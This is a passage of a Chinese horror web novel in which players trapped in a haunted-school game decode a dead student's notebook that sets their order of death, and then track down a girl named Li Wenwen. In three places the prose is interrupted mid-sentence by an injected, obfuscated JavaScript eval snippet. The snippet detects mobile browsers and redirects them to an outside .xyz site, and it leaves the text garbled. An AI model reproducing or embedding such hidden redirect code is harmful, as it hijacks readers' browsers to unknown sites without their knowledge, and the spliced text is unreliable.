这正是他们第一天入校时的签名,所以,他们一进入学校便已经触犯了死亡条件,死亡顺序真的是按照他们在笔记本上签名的顺序来的。 再往下看,第四个名字却不是方华明,而是孙欣欣,梨乐一视线慢慢往下移,当看清最后四个人的名字时,她后背瞬间冒出了一层白毛汗。 钟心闻,方华明,鹤溪,梨乐一。 字迹还是他们原本的字迹,只是顺序改变了,钟心闻从最后一个签名变为了倒数第四个,刚结束杯仙游戏的鹤溪和梨乐一则成为了倒数第一和第二。 鹤溪眉心微蹙:“我们的名字没有消失,那些见鬼方法不能帮我们避免死亡,只能改变我们的死亡顺序,将我们的死亡顺序后移。” “什么死亡顺序,你们在说什么?”陈敛听得一头雾水。 梨乐一正想着该如何把陈敛糊弄过去,谁知道鹤溪收起手机站起身,竟然直接将笔记本递给了陈敛。 “我们入校的时候在彭思名的笔记本上签了名,已经被彭思名的鬼魂盯上了,在笔记本上签名的顺序就是我们的死亡顺序。” 梨乐一来不及阻止,只能眼睁睁地看着陈敛接过笔记本,翻看起笔记本里的内容。 陈敛看到最后一页的签名,哼笑一声道:“所以你们刚才在教室里玩杯仙,是以为玩了之后你们的名字就会从这上面消失?” 梨乐一一听陈敛这个语气就觉得不对,陈敛是副本内NPC,受副本影响和控制,肯定不会轻易相信鹤溪的那番说辞,估计以为鹤溪在讲故事诓他呢。 鹤溪也是老实,随便找个借口把陈敛糊弄过去不就行了,干嘛什么都给他说,万一“向副本内NPC透露和任务有关的内容”也是死亡条件怎么办。 思及此,梨乐一站到二人中间,准备就算是生拉硬拽也要把话题扯开:“哈哈,我看外面天色不早了,月亮马上就要下山了,不如我们赶紧回去睡觉吧。” 鹤溪无所谓地耸肩,像是看不到梨乐一借着身体遮挡、疯狂向他比划手势的那只手一般:“只是猜测而已,不过现在已经确定了。” 陈敛合上笔记本,目光突然变得锐利:“你们不是这个世界的人。” 小帅察觉到他情绪上的变化,软绵绵地喵了一声,然后开始用自己的大脑袋去蹭他的裤腿,陈敛不看它,垂眸看向梨乐一。 “我刚开始只是觉得奇怪,为什么你一个初来乍到的语文老师会四处打听一个已经死了一个月的学生的信息,你明明跟彭思名八杆子打不到一块去。” “还有,我不止一次警告过你不要调查彭思名的事,但你不仅没有收手,反而还在深更半夜跑到彭思名的位置上去玩什么招鬼游戏。” “所以,”陈敛上前一步逼近梨乐一,“你从入校开始就是带着任务来的。” 他尾音下沉,是陈述句而不是疑问句。 梨乐一暗道不好。 就陈敛这个臭脾气,要是知道他只是副本里的NPC,估计得发好大一通火。万一少年意气为了证明自己掺和进副本任务里来,丢了小命可就得不偿失了。 却不想下一秒,陈敛将笔记本丢还给鹤溪:“除了这个笔记本,你们还要在教导主任办公室找什么东西?” 梨乐一准备好的说辞堵在了嗓子眼,不敢相信陈敛竟然就这么轻易地接受了自己是副本里NPC这一事实。 她震惊的视线跟着笔记本在半空中划过一个抛物线,然后看见修长如玉的手指稳稳地将其接住。 鹤溪语气淡淡地道:“没有了。” 陈敛转身朝门口走去:“那就走吧。” 小帅屁颠屁颠地跟到门口,回头看了一眼房间内的鹤溪和梨乐一,喵了一声,似乎是在示意他们跟上。 鹤溪将笔记本放进他随身背的斜挎包里,对身旁的梨乐一道:“走吧,先回去。” 梨乐一回神,看见鹤溪的动作突然抓住他的手腕:“等一下。” 鹤溪低声问道:“怎么了?” 梨乐一看了眼从包里露出半个角的笔记本,不自觉地咽了口唾沫:“这个笔记本,要不就放在我这里吧,我回去之后想好好研究一下前面的内容,也许会对解开这个副本的【怨】有帮助。” 鹤溪闻言,视线从梨乐一抓着自己的手移到了她的脸上。 夜色如墨,缓慢地流淌在相互对视的二人的周围,在碰到鹤溪那双黑沉的眸子后,又悄然在他眸中化为一池深潭,倒映着梨乐一的身影。 被这样一双眸子注视着,梨乐一总觉得自己那些小心思无处遁形,她心虚地避开视线。 她并不是一时心血来潮想要回去研究一下笔记本,而是想试试看能不能毁掉最后一页大家的签名。 这是一个既能作死,又能造福大家的行为。 如果她成功毁掉了签名,那么就能帮鹤溪他们逃离死亡顺序的禁锢,就算触犯了死亡条件,【怨】不会一次性杀掉所有玩家,违规的只有她一人,死亡的也只会是她一个人。 一箭双雕,很好。 如果签名无法被毁掉,她也不亏,至少排除了一个错误答案。 鹤溪安静地注视了梨乐一几秒,拒绝了梨乐一的提议:“这本笔记本或许承载了彭思名的诅咒,再加上他现在最恨的人是你,如果在你手里,难保不会出什么事,还是我拿着最安全。” 说罢,他不给梨乐一再说些什么的机会,摸了摸梨乐一的头,像是安抚:“放心,我不会有事的。” 梨乐一:……可我想我有事。 - 孙欣欣死了,死在了宿舍的卫生间里,是她舍友早上起来上厕所时发现了她。 除开眼睛被挖掉,嘴巴被缝上这个共同点,她的脖子血肉模糊、深可见骨,而掉在她身侧的那把木梳的梳齿则是被肉屑和人皮组织塞得满满的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381150|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是被这把木梳,硬生生地划破喉咙而死的,难以想象,她死前承受了多大的痛苦。 等众人回到客厅,鹤溪将彭思名的笔记本拿了出来。 他并不准备瞒着其他玩家,因为死亡顺序是副本开局便定下来的。 至于玩招鬼游戏将自己的死亡顺序后移这件事,他也不觉得这会是他们的救命稻草,因为游戏成功改变的只是死亡顺序,他们并没有从这本“死亡笔记”里脱离,不过是早死和晚死的区别罢了。 而且玩招鬼游戏也不是百分之百安全的,譬如昨天晚上的梨乐一。所以那些招鬼游戏只是缓兵之计,真正可以解开这个副本【怨】的办法还需要他们努力去寻找。 方华明听鹤溪说完,脸色微沉,并没有要开口说些什么的打算。 罗元松看着大家的签名,目光停留在位于倒数第三的方华明的名字上:“我记得你是在我之前签名的,可是现在你的名字排到了我后面,你已经玩过招鬼游戏了……” 他后知后觉地反应过来,一拍桌子怒气冲冲地站起来:“方华明,你早就知道了,但是你瞒着我们不说,只要大家不知道这件事,你的名字就可以一直在倒数第一个!” 众人看向方华明的目光顿时变得饶有深意起来。 方华明嘴角挤出一个笑:“我只是还不敢确定这是否真的有用,所以才没有说,不然万一害了大家怎么办?” 罗元松对方华明的解释半信半疑,还想问些什么,却被另一个玩家打断。 那个玩家的名字就排在孙欣欣的后面,下一个死的人,就是他了。 想到这里,他眼中不禁流露出深深的恐惧:“所以,玩招鬼游戏就可以暂时安全,将自己的死亡顺序后移吗?” 得到鹤溪肯定的回答后,他突然砰地一下跪在鹤溪面前:“你既然都能找到这个笔记本,你肯定还找到了其他的线索对不对?” “你身上一定还有记录见鬼方法的纸条,你现在的顺序是最后一个你还有很多时间可以去找新的,我求求你,救救我。我今天中午就要死了,这学校这么大,我上哪去找那些纸条啊,我中午之前找不到我就死定了。” 他一把鼻涕一把泪地跪在鹤溪身前:“我求求你,救救我吧。” 鹤溪面无表情地躲开男人朝自己伸来的手:“我身上没有纸条,现在距离中午还有几个小时,你与其在我这里浪费时间,不如赶紧去校园里找线索。” “而且我说过,玩招鬼游戏并不是百分之百安全,在游戏过程中,你也随时有可能会丧命。” 男人对死亡的恐惧吞噬了他的理智,被鹤溪拒绝后他也不装了,表情扭曲地朝鹤溪扑过去。 “你都告诉我们笔记本的事情了,为什么不愿意再多帮我一次。不过就是一个肩不能抗手不能提的病秧子,我求你是给你面子,你TM不要给脸不要脸!” “哎——” 梨乐一惊呼出声,鹤溪就个子高而已,那虚弱的身板估计都禁不起男人一拳,她想要上前阻拦。 鹤溪面色不变,一个闪身轻松躲过男子,而后抬脚对着他的小腿一踹,男人顿时歪倒在地,表情痛苦地捂着自己的小腿,半天都爬不起来。 鹤溪垂眸睨着男人:“我把笔记本的事情说出来不是为了救你。” 男人蜷缩在地上痛苦地哀嚎着。 鹤溪目光漠然,像是在看微不足道的蝼蚁一般俯视着男人:“聪明的人现在已经知道自己该干什么了,只有像你这样的蠢人才会在这里跟我浪费时间。” 28. 见鬼 进入副本的三天来,鹤溪给人的感觉一直都是除了那张好看的脸之外,没什么特别之处,平时待人也不冷不淡的,不爱与人交谈,在副本里存在感很低。 再加上他面色苍白,看上去就是一副病殃殃的短命鬼模样,大部分玩家都没有把他放在眼里,认为就凭他这副身子骨,在危险来临的时候肯定是第一个死的。他们也因此在心里默认,鹤溪是一个好欺负的人。 却没想到他一脚竟然直接将一个成年男人踹到蜷缩在地上半天都爬不起来。 众人看向他的眼神纷纷变了味道。 梨乐一也一脸震惊地看着鹤溪。 没想到鹤溪看着一副柔柔弱弱的病弱美人模样,不光打起架来厉害,就连骂人都是手到擒来的事。 此时此刻的鹤溪,和平时那个与她相处的鹤溪完全不一样,也并不像梨乐一所认为的那样,是个性子软善良好欺负的人。 梨乐一正看着鹤溪发呆,猝不及防地对上了鹤溪看过来的视线。 “饿了没,去吃早饭吧。”他说。 “啊,哦。” 在梨乐一点头后,鹤溪将笔记本收进自己的斜挎包里,走到梨乐一身旁,又变为了那个人畜无害、一副病弱模样的闷葫芦。 罗元松见鹤溪将笔记本塞进了他的包里,眉头顿时皱了起来。 要知道,那个笔记本可是他们目前为止得到的最重要的线索,怎么可以就这么随便地定下来让鹤溪保管。 他遂叫住了正跟着梨乐一往外走的鹤溪:“那本笔记本,我们要不要好好讨论一下交由谁保管,毕竟那是重要线索。” 鹤溪回身淡淡地睨了一眼罗元松,兴许是刚才他踹人那一幕的余韵还未散去,罗元松被他这一眼盯得头皮莫名发紧。 鹤溪:“该说的我都已经说了,要是还有什么不明白的可以来问我。” 说完,便转身跟梨乐一走出了屋,按下电梯。 …… 罗元松憋红了脸,但到底还是没有再叫住鹤溪。 电梯下行。 电梯内,鹤溪突然转过身捂着嘴一阵剧烈地咳嗽,这架势把梨乐一吓了一跳,手忙脚乱地凑过去问他有没有事,要不要去医务室看看。 鹤溪再转过头来时,面色更加苍白,眼角带着一抹红,整个人看上去像是早春枝头最后一抹残雪,梨乐一就连呼吸都变得小心翼翼起来,生怕自己一个不小心呼出口热气,便将这个精致如瓷人一般的人给吹化了。 鹤溪平复了一下呼吸,淡声道:“我没事。” 梨乐一担忧地看着他:“你下次还是能躲就躲吧,少跟人正面起冲突,你身手确实不错,但身体不行撑不了多久,万一遇到个厉害的怎么办?” 鹤溪抿了抿唇:“我身体会好起来的。” 梨乐一心知这个年纪的男生一般都不太能接受别人说自己不行,遂点头道:“嗯嗯,知道你很行,但你以后出了副本还是得多运动多吃饭,强身健体才能在副本里走的更久,知道吗?” “……知道了。” 学校大部分学生都是走读生,因此早上在食堂吃饭的人并不多,梨乐一和鹤溪打了饭之后,寻了一个清静的角落坐下。 “那本笔记本上的内容,你昨天晚上回去看了吗?”梨乐一一口吃掉一个小笼包,含混不清地问坐在自己身边的鹤溪。 鹤溪摇头:“只是大致地扫了一眼便睡觉了,还没有认真看过。” 梨乐一闻言迫不及待地扯了扯鹤溪的衣角:“那就现在看,我们两个一起看。” 鹤溪顿了顿,放下手里的粥碗,把笔记本拿出来摆在两人中间。 [今天晚上放学同学们都离开后,我根据我收集到的信息在教室里玩了杯仙。 但是应该没有招来什么东西,因为杯子从头到尾也没有动过,是我咒语念错了,还是说ta们不在教室里?] 这页就是记录彭思名初次尝试玩杯仙的过程,没什么信息,梨乐一继续往后翻,之后的几页,都是彭思名深夜在学校各种传说闹鬼的地方玩笔仙的记录。 他还挺锲而不舍的,没成功就一直玩,翻了几页之后: [成功了!杯子真的动了,杯仙回应我了! 我就知道,我就知道ta们是存在的,但是ta并没有回答我的问题,是我问的问题不太好回答吗?] 大半本笔记本记录的都是彭思名曾经玩过的招鬼游戏,彭思名简直可以被称为招鬼游戏发烧友。 眼看着笔记就要翻完了,还没有找到什么有用的信息,梨乐一也没有从彭思名的那些“招鬼日记”里找出什么新的作死方法,她难免有些焦躁。 鹤溪似乎是察觉到了她的情绪,声音温和地道:“不要着急,这次副本的时限是一个月,我们还有时间,我不会让你死的。” 说这话时,鹤溪凑得有些近,温热的呼吸扑洒在梨乐一耳廓,她感受到鹤溪语气中的真挚,心跳没来由地停了几拍,下一秒,梨乐一便被包子给噎住了。 鹤溪见状赶忙拍她的背给她顺气,另一边端起豆浆喂到梨乐一嘴边:“快喝一口。” 梨乐一憋得面红耳赤,就着鹤溪的手喝了几口豆浆,好不容易才把小笼包给咽下去。 鹤溪把自己的蒸饺和梨乐一的小笼包换了一下:“包子有点噎,你还是吃饺子吧。” 鹤溪那笼饺子还没有动过,倒是梨乐一的小笼包已经被她吃了半笼了,但鹤溪看上去一点也不介意,夹起一个包子便送进嘴里。 梨乐一没吭声,只是又默默喝了一口豆浆,继续看彭思名的笔记本。 [这个世界上竟然还有这么神奇的事情,通过一个人的物品去看他生平最难忘的一段记忆,我一定要试试看。 …… 成功了,我真的成功了!原来就这么简单,只需要] 这一页的记录在“只需要”三个字上戛然而止,梨乐一好奇地往后翻,想看看到底需要什么,却发现后面一页的内容与前一页的内容大相径庭。 [他怎么敢!他怎么敢对文雯做出那种事情! 我会让他付出代价的。 他们都该死!他们都该死!!!] 记录到这里,字迹开始变得潦草,可以看出彭思名在写下这些话的时候,情绪已经非常不稳定了。 梨乐一和鹤溪对视一眼,神情变得严肃。 这两页中间还有一页,记录着可以让记忆重现的方法,但是被撕掉了。 至于彭思名带着怒气写下的这页内容,应该就是导致他最终死亡的原因了,而他笔记中提到的这个叫“文雯”的人,或许就是他们之前经历的诡异事件里的那个女生。 这一页以一句“我一定会让他们付出代价”为结束,下一页又被撕掉了。 鹤溪指尖轻轻抚过纸张被撕掉后留下的毛边:“被撕掉的应该都是重要线索,需要我们去把它们找出来。” 梨乐一点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386187|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心情稍稍轻松了些。至少现在他们有了调查和寻找的方向,不像之前那样两眼一抹黑,都不知道该干些什么。 再往后是几页空白页,然后便是梨乐一他们刚入副本时的签名。 梨乐一合上笔记本:“我的职位是老师,调查学生的身份比较方便,我待会没课的时候就在教学楼里四处问问,应该能问出来这个‘文雯’到底是谁。” 鹤溪看着她:“我上午也没事,我来找你,和你一起。” “呃……也行吧,毕竟多个人多份力量嘛。” “原来你们在这里啊,我找你们半天了。”钟心闻端着两笼包子在二人对面坐下。 包子还冒着热气,他迫不及待地塞了一个进嘴里,一边问鹤溪道:“怎么今天早上就你们两个人来食堂吃饭?” 钟心闻刚下夜班,早晨不在宿舍,自然不知道现在除了梨乐一和鹤溪,众玩家都忙着在校园里四处寻找见鬼方法的事。 梨乐一将彭思名的笔记本递给他:“这是我们昨天晚上找到的线索,你可以先看看。” 钟心闻接过,翘起二郎腿斜倚在椅子里,一只手拿笔记本,另一只手还不忘拿起包子往嘴里塞。 梨乐一看着他,莫名幻视那种在早餐店边看报纸边吃早饭的老大爷,松弛感拉满。 钟心闻一边翻页,梨乐一一边给他解释笔记本里的内容。 当听到他们入校的签名顺序就是死亡顺序时,钟心闻因为太过于后怕,打了一个饱嗝。 “卧槽,我记得我当时是走在前面几个的,要不是那个女学生突然撞了我一下,我现在说不定已经死了!” 钟心闻把自己的胸脯拍得乓乓作响:“下次碰到那个女学生,我一定要给她说一句谢谢。” 梨乐一苦口婆心地叮嘱钟心闻道:“你的顺序虽然靠后,但最好还是趁现在有时间,尽快找到记录有见鬼方法的纸条。” “况且,我们现在根本就见不到彭思名和那个女学生的【怨】,但有些信息只有见到他们才能清楚,所以,玩招鬼游戏绝不仅仅是可以帮我们将死亡顺序延后这么简单。” 钟心闻听完梨乐一的话放下筷子,伸手从裤兜里掏出来一个东西:“你说的纸条是这个吗?” 梨乐一咕咚一下咽下嘴里的饺子,默默接过他手里的纸条展开。 【十字路鬼】 【在凌晨两点到四点时,准备三菜一汤和一副空碗筷,找一个无人的十字路口,摆好饭菜后,用筷子有节奏地敲击空碗,这样便可以看见前来用餐的鬼魂。】 梨乐一不敢置信地将这张皱巴巴的纸在眼前翻来覆去确认了好几遍,而后抬眼看向对面仍处在状况外、一脸单纯的钟心闻:“你怎么找到这个纸条的?” 钟心闻挠挠头:“没找,这是我从保安室桌子底下捡的,我看上面写的东西神神叨叨的,还准备来问你们呢。” 梨乐一:“……” 这应该就是傻人有傻福了吧。 她将纸条递还给钟心闻:“这是你找到的,由你自己保管比较好。按照这上面讲的方法,成功见到鬼并从鬼的手里全身而退,你的死亡顺序就可以被延后。” 钟心闻眼睛霎时瞪得像铜铃:“我?我一个人吗?鹤溪,鹤哥!我、我、我一个人不行的,你得跟我一起。” 鹤溪没说话,低头夹起一个包子送进嘴里,他又可怜兮兮地转头看向梨乐一:“梨姐,帮帮我。” …… 29. 见鬼 鹤溪本来是不准备插手管钟心闻的事的,但见梨乐一想也没想就点头答应了钟心闻的请求,他抿了抿唇,在钟心闻看向自己的时候,也低低地应了一声好。 钟心闻心中悬着的巨石落地,他抹了一把鼻涕眼泪,短暂地跟二人分别,准备回去补个觉再出来找线索。 今天早上梨乐一要去守高三四班的早自习,陈敛惯例没有来,估计是在宿舍补觉。 早自习结束之后,梨乐一急匆匆地回到办公室,问同办公室的老师:“你知道咱们年级上有个叫‘文雯’的女学生吗?” 那名老师认真地想了想,摇头:“没听说过。” 梨乐一没再多问什么,转身离开了办公室,结果一出门就撞见了等在办公室门口的鹤溪。 “你什么时候来的,我刚才怎么没看见你?” 鹤溪低头看着梨乐一:“你刚才从教室里出来的太着急,我还没来得及开口叫你,你就已经进办公室了。” 梨乐一:“你等很久了吗?” 鹤溪:“我工作结束之后才来的,没有多久。” “哟,梨老师,这是你男朋友吗?”四班学生从走廊里打打闹闹地经过,“早自习刚开始没多久我就看见他在外面站着了,原来是在等你呀。” “老师你男朋友真帅!” 鹤溪偏过头去,捂着嘴轻咳了两声,苍白的脖颈上浮上一层浅粉。 梨乐一心里想着事,倒也没注意那么多,她转身走进教室,把吴浩远叫了出来。 吴浩远长得高,比梨乐一高出一个头,但是跟鹤溪一比,又瞬间矮了半头,吴浩远以为梨乐一这次专门带着保镖来质问自己,被梅开二度的他小麦色的脸顿时皱成了苦瓜。 “老师,昨天的语文作业真是我自己写的。” 梨乐一:……你到底是有多不爱写语文作业? “我没想问你这个。在咱们年级,不,在咱们学校,你有听说过‘文雯’这个人吗?” “她是个女生,有可能不姓文,文雯只是她的名字。” 吴浩远摇头:“没听说过。” 梨乐一摆摆手,示意吴浩远可以走了,吴浩远如蒙大赦,嘿嘿地傻笑着,人跑出了残影。 “走吧。”鹤溪看着梨乐一,“我们再去其他班上问问。” 只不过还没等梨乐一抓个其他班上的同学来问,预备铃就响了,前一秒还热闹喧哗的走廊在铃声落下后变得空无一人。 梨乐一和鹤溪将寻找文雯一事暂时搁在一边,开始在教学楼内寻找起记录见鬼方法的纸条。 他们的运气没有钟心闻那么好,找了一节课,甚至连垃圾桶都没有放过,但依旧一无所获。 下课铃声响起,寂静幽暗的走廊立刻被学生们的欢声笑语填满。 梨乐一抬头,发现他们不知不觉中竟然找到五楼,高三十班的门口来了。 那来都来了,梨乐一叫住刚从十班门口走出来的女生:“请问,你认不认识一个叫‘文雯’的女生?” 女生闻言上下打量了一番梨乐一:“文雯?李文雯?你找她有什么事?” 梨乐一一听有戏,立马把准备去隔壁班问的鹤溪叫回来,然后掏出手机,打出“文雯”两个字向女生确认。 “你说的那个李文雯,名字是这么写的吗?” 鹤溪走到梨乐一身后站定,目光随着梨乐一的视线落在女生脸上,女生无意间和鹤溪对视一眼,脸迅速红了,她看了眼梨乐一的手机屏幕便低下头:“就是这么写的。” 梨乐一收起手机:“那你能告诉我李文雯是怎么死的吗?” “你在说什么,李文雯人活的好好的,什么死不死的。”女生闻言又抬起头,面色不悦地看着梨乐一。 梨乐一心中期望落空,这个“李文雯”还活着,大概率不是他们想找的人:“不好意思,那可能是我搞错了。” 女生撇撇嘴,又往鹤溪脸上飘去一眼,还是耐着性子和二人道:“也许吧,我不知道你要找哪个‘文雯’,但是我们班上的‘文雯’只是生病了回家养病,并没有死。” 鹤溪听到女生的话,问道:“你说李文雯生病了?生的什么病?” “这……”女生眼神飘忽,显然是在犹豫说不说。 梨乐一立刻察觉出不对,如果说李文雯只是普通的感冒发烧,女生绝不会这么犹豫。 她朝女生友善地笑笑:“我是高三四班新来的班主任,我没什么别的目的,只是想了解一下李文雯的近况而已。” “高三四班……”女生垂眼思索一番,“是彭……彭思名那个班吗?” 梨乐一和鹤溪对视一眼,是了,就是这个“文雯”没跑了。 女生想了想,倒回教室门口,冲里面喊了一句:“小芝,出来,有人找你。” 喊完,女生回过身对二人解释道:“小芝是李文雯的闺蜜,关于李文雯的事她知道的比我多,你们可以问她。” 梨乐一向女生道了谢,女生则是红着脸又看了鹤溪一眼,似乎有话想对他说,但鹤溪并没有再看她,女生最后一步三回头地离开了。 那名叫小芝的女生很快走了出来,疑惑地看着梨乐一和鹤溪:“是你们找我吗?” 梨乐一上前一步,直入主题:“是,我想问问你关于李文雯的事情。” 许是梨乐一的表情看上去很真诚,所以小芝仅仅犹豫了几秒便开口:“你想问什么,问吧。” 梨乐一没有错过刚才小芝犹豫时,眼中一闪而过的恐惧,她问道:“李文雯是因为什么原因请的病假?” 小芝抿了抿唇,小声地回答道:“她的精神出了一点……问题,没办法待在人多的地方,而且别人一碰到她,她就会大喊大叫浑身发抖。” “一碰到就会大喊大叫?”梨乐一重复着小芝的话,脑中冷不丁冒出他们刚进入副本时,在学校门口遭遇的事情。 那个女学生好像也很抗拒别人的接触,她和钟心闻当时都曾伸手想去扶那个女学生,但还没有碰到那个女学生,手就被她打开了。 梨乐一倒吸一口凉气,不会这么巧吧…… 小芝没有察觉到梨乐一表情的不对劲,自顾自地往下说:“她那个状态实在是太不对劲了,完全没有办法正常上课,所以老师就干脆给她开了假条,让她回家修养一段时间。” 梨乐一试探地问道:“李文雯,该不会是这周一早上请病假离开学校的吧。” 他们就是周一早晨进入的副本。 小芝诧异:“你怎么知道的?” 梨乐一笑得勉强:“我……我猜的,猜的。” 鹤溪接过话问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390981|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李文雯是从什么时候开始出现这种症状的?” 小芝:“从彭思名跳楼的那天晚上开始的。” “文雯和彭思名是邻居,从小一起长大,我之前去文雯家玩的时候,还碰见过几次彭思名。那个彭思名神神叨叨的,我听说他还喜欢玩什么招鬼游戏,我私下里给文雯说过好几次,让她不要和彭思名走那么近,可她偏偏就是不听我的,现在好了吧……” 鹤溪敏锐地捕捉到小芝话里奇怪的地方:“什么意思,什么叫‘现在好了’?” 小芝闻言脸色一白,视线小心翼翼地看向四周,见没有异常,才倾身凑近二人,压低声音道:“他们都说,文雯会变成这样,是因为被彭思名的鬼魂缠上了,我听说文雯的妈妈已经请了大师,这几天就要给文雯驱邪呢。” 梨乐一皱眉。 不对,完全不对。 陈敛说过,高三四班的前一任班主任是被彭思名的【怨】害死的,所以,彭思名的【怨】如果真的缠上了李文雯,那李文雯绝不会只是精神失常这么简单。 “你确定李文雯现在还活着吗?”梨乐一神情严肃地问道。 小芝语气也跟着严肃起来:“我确定,我昨天晚上才问了文雯妈妈文雯的状况。” 梨乐一:“她妈妈怎么说?” “文雯状况已经好了许多,不再一跟人接触就瑟瑟发抖了。” 课间短暂的十分钟转瞬即逝,预备铃声响起,小芝留下一句“我知道的就这么多”,便转身回了教室。 梨乐一和鹤溪则是去了天台。 梨乐一翻来覆去地看彭思名的笔记本,越想越觉得小芝说的关于李文雯生病是因为她被彭思名的鬼魂给缠上了的推测,不过就是学生们之间捕风捉影的传言,毫无依据。 彭思名的死亡或许给了李文雯不小的冲击,也许是压垮她的最后一根稻草,但梨乐一并不认为这是造成李文雯精神失常的根本原因。 因为彭思名的笔记本里,在他得知李文雯遭遇了“那件事”后,他是生气的,是愤怒的,是想要帮李文雯报仇出气的。 彭思名并不恨李文雯。 所以,彭思名的死和李文雯突然的“精神失常”,应该都和李文雯之前经历的“那件事”有关。 - “你的意思是,我之前半夜看见的那个女鬼……不是,那个女学生,她没有死?” 补完觉的钟心闻刚赶到学校天台,便得知了这个堪比重磅炸弹的消息,他细想想,又觉得不对:“可如果那个女学生没死,我们之前第一天来学校看到的她的【怨】算什么?” 鹤溪翻开彭思名的笔记本,翻到某一页后递给钟心闻:“那不是【怨】,是李文雯的某段记忆,彭思名故意让我们看见的。” “彭思名在生前掌握了一种可以重现人记忆的术法,从我们在彭思名的笔记本上签下自己的名字开始,就已经在被彭思名的【怨】潜移默化地影响着了。所以,我们所看到的,听到的,关于李文雯的一切,都是彭思名想让我们看到的。” 钟心闻反应过来:“这个副本里其实只有一个【怨】,就是彭思名?” “对。”鹤溪点头,“我们现在需要查清楚的是,在我们进入副本的第一天所看到的那些零碎的记忆里,李文雯到底经历了什么才会变成那样。” 30. 见鬼 中午,不算太意外的,又一个玩家死了。就是早上那个威胁鹤溪不成,还反被鹤溪当着众人的面嘲讽了一通的男玩家。 他的岗位是维修人员,死在了高中部教学楼四楼的男厕所里,还是钟心闻上厕所时发现的他。 他的身体从腰部往内折叠,以脸埋在□□这种无比诡异的姿势倒在了隔间里。 鹤溪看着这个男玩家的尸体若有所思,钟心闻捂着砰砰直跳的胸口,歪着头研究男人的尸|体。 “他这个姿势……为什么看上去像是想吃s——” “是游戏。” 鹤溪出声打断钟心闻的话:“他应该是被拉入了某个招鬼游戏里死的。” “我之前就一直觉得奇怪,为什么那些死去的人除了眼睛被挖掉,嘴被缝起来这两点之外,死亡方式完全不同,甚至连一点相似的地方都没有。” 听了鹤溪的话,梨乐一回忆起发现那几名玩家尸|体的情形,第一个死去的付江是因为筷子插进喉咙窒息而死。 第二名死者丽丽则是因为身上数不清的划痕,失血过多死亡。 第三名,第四名…… 的确,每个玩家的死法都不同。 在【怨】的副本里,玩家的尸|体通常也会传递一些信息给到活着的玩家。 但在这个副本里,梨乐一他们前几天从玩家的尸|体上获取到的信息少之又少,几乎可以说是没有的地步,原因就是因为他们毫不相干的死法。 经由鹤溪这么一提,梨乐一也意识到了什么,付江死时喉咙里插着的筷子,在钟心闻找到的那张【十字路鬼】的纸条里也提到过——用“筷子”有节奏地敲击碗边。 钟心闻脸色煞白地看着鹤溪,声音虚弱到像是下一秒就要断气了:“你、你、你不是说……玩那什么招鬼游戏可以避免死亡吗?” 鹤溪:“嗯,主动玩招鬼游戏和被动玩招鬼游戏还是有区别的。” 钟心闻松了口气:“兄弟,你说话能不能不要大——” 鹤溪:“被动玩招鬼游戏必死,主动玩招鬼游戏则有一线生机,但还是有可能在游戏过程中死亡。” 梨乐一看见钟心闻捂着胸口,突然深深地吸了一口气,然后直挺挺地朝后倒去。 - 下午梨乐一有两节连堂课,她心里揣着事,便用随堂测验将其打发了过去。 陈敛的位置上依旧没人。 他已经两天没来上课了,但梨乐一现在暂时还顾不上他,因为梨乐一监考闲的无聊的时候,在讲台底下捡到了一张被揉得皱巴巴的纸条。 纸条上写了一长串的名字,杨勇德,何华,方玉萍…… 梨乐一一眼便认出这是彭思名的笔迹,这张纸是从那本笔记本上撕下来的,但纸上写的人名梨乐一一个人也不认识,她将纸条收好,准备一会下课后拿给鹤溪他们看看。 下课铃声响起,梨乐一抱着卷子走出教室,原本靠在栏杆上正低头想事情的鹤溪立刻站起身,朝她走来。 “我不是说我下课去找你们吗?” 中午分开的时候,梨乐一让鹤溪和钟心闻先在校园里找线索,她课程结束就去找他们,鹤溪当时没说话,梨乐一以为他是同意的意思,没想到他会跟早上一样站在教室外等她。 “没有等很久。”鹤溪黑眸一瞬不瞬地看着梨乐一。 她倒也不是这个意思。 梨乐一张了张嘴,最后只道:“你等我一下,我把卷子放了马上就出来。” 和鹤溪一起往楼下走时,两个男学生打打闹闹地从梨乐一身边经过,不小心撞了一下梨乐一的肩膀。 “没事吧?”鹤溪及时扶住梨乐一。 梨乐一摇头,视线盯着刚才撞自己的那个男生,总觉得他十分眼熟,电光火石间,她想起了什么,冲那名男生喊道:“同学,等一等。” 男生回头看到梨乐一,也想起了什么,立马转身想跑,结果一转身,和迎面走来的人结结实实地撞上。 男生捂着额头退了好几步,而被他撞上的陈敛却好整以暇地看着他,歪头笑道:“哟,这么巧。” 男生眼神闪躲:“敛、敛哥……” 